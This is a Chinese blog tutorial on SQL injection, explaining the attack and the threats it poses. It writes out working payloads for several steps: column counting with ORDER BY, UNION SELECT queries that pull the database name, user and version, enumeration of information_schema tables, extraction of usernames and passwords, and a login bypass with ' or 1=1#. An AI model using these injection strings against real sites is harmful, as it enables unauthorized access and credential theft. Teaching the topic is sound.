1_SQL注入

本文深入探讨了SQL注入攻击原理及危害,包括如何利用URL参数构造恶意SQL查询来盗取敏感信息,绕过认证,以及利用数据库存储过程进行提权等高级操作。通过实例展示了黑客如何猜解数据库结构,获取数据库名、用户名、密码等关键信息。
  • Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。

  • 由网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句。如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

  • Sql 注入带来的威胁主要有如下几点:

    (1) 猜解后台数据库,盗取网站的敏感信息

    示例

      1° URL中包含 id=1 (例如 www.baidu.com?id=1)
    
      2° 此时输入 www.baidu.com?id=1' order by 1#, www.baidu.com?id=1' order by 2#都正常,www.baidu.com?id=1' order by 3#时报错,说明表中有两列 (按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)
    
      3° 使用 union 可以联合查询到关于数据库的很多信息,例如
      www.baidu.com?id=1' union select database(),user(), version(), @@version_compile_os# 可以额外获得 数据库名,用户名,版本,使用操作系统
    
      4° information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 tablename 和 tableschema,分别记录 DBMS 中的存储的表名和表名所在的数据库。 同样可以使用 UNION 联合查询的方式获得表的信息
      www.baidu.com?id=1' union select table_name,table_schema from information_schema.tables;
    
      此时很有可能获得一个包含用户名和密码的表(例如叫users表)
    
      5° 由经验我们可以大胆猜测users表的字段为 user 和 password ,所以输入:1' union select user,password from users#进行查询,此时就可以获得用户名和密码
    

    (2) 绕过认证,列如绕过验证登录网站后台。

      例如一个网站需要使用 用户名和密码登录,此时用户名填 123' or 1=1#, 密码填 123' or 1=1#,就有可能登录成功;
    
      因为 后台代码可能是 select * from users where username=xxx and password=xxx;
    
      此时变成了 select * from users where username='123' or 1=1 #' and password='123' or 1=1 #',而按照Mysql语法,#后面会被注释掉,所以一定能登录成功
    

    (3) 注入可以借助数据库的存储过程进行提权等操作

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值